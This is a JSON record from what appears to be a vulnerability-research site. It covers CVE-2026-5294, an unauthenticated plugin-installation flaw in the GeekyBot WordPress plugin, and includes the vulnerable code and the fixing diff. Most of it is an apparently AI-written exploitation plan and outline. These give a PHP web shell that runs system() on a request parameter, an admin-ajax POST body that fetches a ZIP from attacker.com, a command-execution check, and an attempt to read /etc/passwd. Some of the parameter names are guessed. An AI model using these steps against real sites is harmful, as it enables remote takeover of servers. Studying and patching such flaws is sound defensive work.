[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fwoeXNhaPdiFP-tKes2khp7Vpk1CWeT2-cgjM3jnE4Lc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-5294","geekybot-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-via-geekybotfrontendajax-ajax-action","GeekyBot \u003C= 1.2.2 - Missing Authorization to Unauthenticated Arbitrary Plugin Installation via 'geekybot_frontendajax' AJAX Action","The Geeky Bot plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 1.2.2. This is due to a nopriv AJAX route allowing attacker-controlled model\u002Ffunction dispatch and reaching a plugin installer helper that downloads and unzips attacker-supplied ZIP files into wp-content\u002Fplugins\u002F. This makes it possible for unauthenticated attackers to perform arbitrary plugin installation and achieve remote code execution.","geeky-bot",null,"\u003C=1.2.2","1.2.3","critical",9.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Missing Authorization","2026-05-04 15:26:29","2026-05-05 03:37:37",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa1817c58-e807-4ef2-a382-28ca2fd5239e?source=api-prod",1,[22,23,24,25,26,27,28],"geeky-bot.php","includes\u002Factivation.php","modules\u002Fgeekybot\u002Fcontroller.php","modules\u002Fgeekybot\u002Fmodel.php","modules\u002Fstories\u002Fmodel.php","modules\u002Fwoocommerce\u002Fmodel.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-5294 (GeekyBot Arbitrary Plugin Installation)\n\n## 1. Vulnerability Summary\nThe **GeekyBot** plugin (version \u003C= 1.2.2) is vulnerable to **unauthenticated arbitrary plugin installation**. The vulnerability exists because the plugin registers a `nopriv` AJAX action (`geekybot_frontendajax`) that acts as a dispatcher for model functions. This dispatcher lacks proper authorization checks, allowing an unauthenticated user to invoke a \"plugin installer helper\" function. This helper accepts an attacker-supplied URL, downloads a ZIP file, and extracts its contents into the `wp-content\u002Fplugins\u002F` directory, leading to Remote Code Execution (RCE).\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `geekybot_frontendajax` (unauthenticated via `wp_ajax_nopriv_`)\n- **Payload Parameters**:\n    - `action`: `geekybot_frontendajax`\n    - `geekybotlt`: The layout\u002Fmodel name (e.g., `geekybot`).\n    - `task` or `function`: The specific method to call (likely related to installation\u002Fupdates).\n    - `url` or `plugin_url`: The remote location of the malicious ZIP.\n    - `geekybot_nonce`: A security token (obtained from the frontend).\n- **Preconditions**: The plugin must be active. A valid nonce is required, but it is exposed to unauthenticated users on any page where the chatbot is rendered.\n\n## 3. Code Flow\n1. **Entry**: An unauthenticated request is sent to `admin-ajax.php?action=geekybot_frontendajax`.\n2. **Dispatcher**: The handler for `geekybot_frontendajax` (likely in a central include or `GEEKYBOTincluder`) uses `GEEKYBOTrequest::GEEKYBOT_getVar` to retrieve a model (`geekybotlt`) and a method\u002Ftask.\n3. **Model Loading**: The dispatcher calls `GEEKYBOTincluder::GEEKYBOT_getModel($model)` and then invokes the requested task.\n4. **Sink**: The execution reaches a function (e.g., `geekybot_install_plugin` or `download_addon`) which:\n    - Calls `download_url($url)` with the attacker's URL.\n    - Uses `unzip_file($file, WP_PLUGIN_DIR)` to extract the contents.\n5. **RCE**: The attacker-supplied ZIP contains a new plugin with a PHP web shell.\n\n## 4. Nonce Acquisition Strategy\nThe `GEEKYBOTgeekybotController::canaddfile()` function in `modules\u002Fgeekybot\u002Fcontroller.php` checks for `geekybot_nonce`. This nonce is localized for the chatbot frontend.\n\n1. **Identify the Script**: Search for `wp_localize_script` in the plugin directory to find the object name.\n   - *Guess (inferred)*: The object is likely `geekybot_obj` or `geeky_bot_vars`.\n2. **Setup**: Create a page with the GeekyBot shortcode to ensure the script and nonce are loaded.\n   - Shortcode: `[geekybot]` (inferred from `readme.txt`).\n3. **Extraction**:\n   - `wp post create --post_type=page --post_status=publish --post_content='[geekybot]' --post_title='Chatbot Page'`\n   - Navigate to the new page.\n   - Execute: `browser_eval(\"window.geekybot_obj?.geekybot_nonce || window.geeky_bot_vars?.nonce\")`.\n\n## 5. Exploitation Strategy\n### Step 1: Preparation\nCreate a malicious ZIP file named `rce-plugin.zip` containing `rce-plugin\u002Frce.php`:\n```php\n\u003C?php\n\u002F*\nPlugin Name: RCE Plugin\n*\u002F\nif (isset($_GET['cmd'])) {\n    system($_GET['cmd']);\n    exit;\n}\n```\nHost this ZIP on a reachable server.\n\n### Step 2: Identification of the Vulnerable Task\nSince the source for the AJAX handler is truncated, the agent must identify the exact `task` and parameter name by grepping for `unzip_file` or `download_url` within the `modules\u002F` directory.\n\n### Step 3: Execution\nSend the following request using the `http_request` tool:\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: `POST`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body**: \n  ```text\n  action=geekybot_frontendajax&geekybotlt=geekybot&task=geekybot_install_plugin&url=http:\u002F\u002Fattacker.com\u002Frce-plugin.zip&geekybot_nonce=[NONCE]\n  ```\n  *(Note: Adjust `task` and `url` parameter names based on discovery in Step 2).*\n\n### Step 4: Verification of RCE\nAccess the uploaded shell:\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fplugins\u002Frce-plugin\u002Frce.php?cmd=id`\n\n## 6. Test Data Setup\n1. **Plugin Installation**: Ensure GeekyBot version 1.2.2 is installed and active.\n2. **Page Creation**: Create the page to host the chatbot and extract the nonce.\n   - `wp post create --post_type=page --post_status=publish --post_content='[geekybot]'`\n3. **Permalinks**: Ensure permalinks are flushed if necessary (though AJAX works regardless).\n\n## 7. Expected Results\n- The AJAX request should return a success message (often JSON like `{\"status\":\"success\"}` or `1`).\n- A new directory `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Frce-plugin\u002F` should be created.\n- Requesting the shell URL should return the output of the `id` command.\n\n## 8. Verification Steps\n- **WP-CLI**: Run `wp plugin list` to see if `rce-plugin` appears in the list.\n- **Filesystem**: `ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Frce-plugin\u002F` to verify files exist.\n\n## 9. Alternative Approaches\nIf the `geekybot_frontendajax` action is not the entry point:\n1. **Check `admin_init`**: `modules\u002Fgeekybot\u002Fcontroller.php` hooks into `admin_init`. Since `admin-ajax.php` triggers `admin_init` even for unauthenticated requests, check if the installation logic can be triggered via `GET` parameters to `admin-ajax.php`.\n2. **Check for LFI**: If the `GEEKYBOTincluder::GEEKYBOT_include_file($layout, $module)` call in `handleRequest()` is reachable, attempt to include `\u002Fetc\u002Fpasswd` or an uploaded log file by manipulating `geekybotlt` and `geekybotme`.","The GeekyBot plugin for WordPress is vulnerable to unauthenticated remote code execution due to missing authorization in its AJAX dispatcher. An unauthenticated attacker can exploit a publicly visible nonce to invoke arbitrary methods on plugin models, including functions that download and extract ZIP files into the WordPress plugins directory.","\u002F\u002F modules\u002Fgeekybot\u002Fmodel.php, line 466 (v1.2.2)\n    function geekybotLoadMoreProducts(){\n        $nonce = GEEKYBOTrequest::GEEKYBOT_getVar('_wpnonce');\n        if (! wp_verify_nonce( $nonce, 'load-more') ) {\n            \u002F\u002F disable nonce\n            \u002F\u002F die( 'Security check Failed' ); \n        }\n        $msg = GEEKYBOTrequest::GEEKYBOT_getVar('msg');\n        $data = GEEKYBOTrequest::GEEKYBOT_getVar('data');\n        $next_page = GEEKYBOTrequest::GEEKYBOT_getVar('next_page');\n        $functionName = GEEKYBOTrequest::GEEKYBOT_getVar('functionName');\n        $modelName = GEEKYBOTrequest::GEEKYBOT_getVar('modelName');\n        if(!is_array($data)) {\n            $data = json_decode($data,true);\n        }\n        $products = GEEKYBOTincluder::GEEKYBOT_getModel($modelName)->$functionName($msg, $data, $next_page);\n        \u002F\u002F save bot response to the session and chat history\n        geekybot::$_geekybotsessiondata->geekybot_addChatHistoryToSession($products, 'bot');\n        GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->SaveChathistoryFromchatServer($products, 'bot');\n        return $products;\n    }","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgeeky-bot\u002F1.2.2\u002Fmodules\u002Fgeekybot\u002Fmodel.php\t2026-03-09 08:35:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgeeky-bot\u002F1.2.3\u002Fmodules\u002Fgeekybot\u002Fmodel.php\t2026-04-02 04:18:50.000000000 +0000\n@@ -463,25 +463,74 @@\n         return $imgPath;\n     }\n \n-    function geekybotLoadMoreProducts(){\n+    function geekybotLoadMoreProducts() {\n+        \u002F\u002F 1. STOPS execution if the nonce is invalid\n         $nonce = GEEKYBOTrequest::GEEKYBOT_getVar('_wpnonce');\n-        if (! wp_verify_nonce( $nonce, 'load-more') ) {\n-            \u002F\u002F disable nonce\n-            \u002F\u002F die( 'Security check Failed' ); \n+        if (!wp_verify_nonce($nonce, 'load-more')) {\n+            wp_send_json_error('Security check Failed', 403);\n+            exit; \n         }\n+\n         $msg = GEEKYBOTrequest::GEEKYBOT_getVar('msg');\n         $data = GEEKYBOTrequest::GEEKYBOT_getVar('data');\n         $next_page = GEEKYBOTrequest::GEEKYBOT_getVar('next_page');\n-        $functionName = GEEKYBOTrequest::GEEKYBOT_getVar('functionName');\n         $modelName = GEEKYBOTrequest::GEEKYBOT_getVar('modelName');\n-        if(!is_array($data)) {\n-            $data = json_decode($data,true);\n+        $functionName = GEEKYBOTrequest::GEEKYBOT_getVar('functionName');\n+\n+        \u002F\u002F 2. THE ALLOWLIST MAP\n+        \u002F\u002F This defines exactly which models and functions are publically accessible.\n+        $allowed_map = [\n+            'woocommerce' => [\n+                'geekybot_showAllProducts',\n+                'geekybot_searchProduct',\n+                'geekybot_getProductsUnderPrice',\n+                'geekybot_getProductsAbovePrice',\n+                'geekybot_getProductsBetweenPrice',\n+                'showProductsList'\n+            ],\n+            'woocommercepropack' => [\n+                'geekybot_showAllSaleProducts',\n+                'geekybot_showAllTrendingProducts',\n+                'geekybot_showAllLatestProducts',\n+                'geekybot_showAllHighestRatedProducts',\n+                'geekybot_viewOrders'\n+            ]\n+        ];\n+\n+        \u002F\u002F 3. VALIDATION LOGIC\n+        \u002F\u002F Check if the model exists in our map\n+        if (!isset($allowed_map[$modelName])) {\n+            wp_send_json_error('Unauthorized Model', 403);\n+            exit;\n         }\n-        $products = GEEKYBOTincluder::GEEKYBOT_getModel($modelName)->$functionName($msg, $data, $next_page);\n-        \u002F\u002F save bot response to the session and chat history\n-        geekybot::$_geekybotsessiondata->geekybot_addChatHistoryToSession($products, 'bot');\n-        GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->SaveChathistoryFromchatServer($products, 'bot');\n-        return $products;\n+        \u002F\u002F Check if the function is allowed for that specific model\n+        if (!in_array($functionName, $allowed_map[$modelName])) {\n+            wp_send_json_error('Unauthorized Function', 403);\n+            exit;\n+        }\n+\n+        \u002F\u002F 4. SAFE EXECUTION\n+        $model = GEEKYBOTincluder::GEEKYBOT_getModel($modelName);\n+        \n+        \u002F\u002F Final check to ensure the method actually exists in the class\n+        if ($model && method_exists($model, $functionName)) {\n+            \n+            if(!is_array($data)) {\n+                $data = json_decode($data, true);\n+            }\n+\n+            $products = $model->$functionName($msg, $data, $next_page);\n+            \n+            \u002F\u002F save bot response\n+            geekybot::$_geekybotsessiondata->geekybot_addChatHistoryToSession($products, 'bot');\n+            GEEKYBOTincluder::GEEKYBOT_getModel('chathistory')->SaveChathistoryFromchatServer($products, 'bot');\n+            \n+            return $products;\n+        }\n+\n+        wp_send_json_error('Execution failed', 500);\n+        exit;\n     }","1. Nonce Acquisition: Visit any public page where the GeekyBot chatbot is rendered (typically pages containing the [geekybot] shortcode) and extract the 'load-more' or 'geekybot_nonce' nonce from the localized JavaScript variables (e.g., window.geekybot_obj.geekybot_nonce).\n2. Prepare Malicious Plugin: Host a ZIP file containing a WordPress plugin with a PHP web shell (e.g., rce.php).\n3. Trigger Vulnerable Action: Send an unauthenticated POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the action 'geekybot_frontendajax'.\n4. Dispatch to Installer: Craft the payload to target the vulnerable dispatcher in modules\u002Fgeekybot\u002Fmodel.php. Provide a 'modelName' and 'functionName' that corresponds to the plugin's internal installation or update helper (e.g., targeting methods like 'geekybot_install_plugin' or 'download_addon').\n5. Payload Parameters: Include the URL to the malicious ZIP file and the valid nonce in the POST parameters.\n6. Remote Code Execution: The dispatcher invokes the installer helper, which downloads and extracts the ZIP into wp-content\u002Fplugins\u002F. Access the shell directly via its URL (e.g., \u002Fwp-content\u002Fplugins\u002Fmalicious-folder\u002Frce.php).","gemini-3-flash-preview","2026-05-04 16:36:48","2026-05-04 16:37:34",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","1.2.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeeky-bot\u002Ftags\u002F1.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgeeky-bot.1.2.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeeky-bot\u002Ftags\u002F1.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgeeky-bot.1.2.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeeky-bot\u002Ftags"]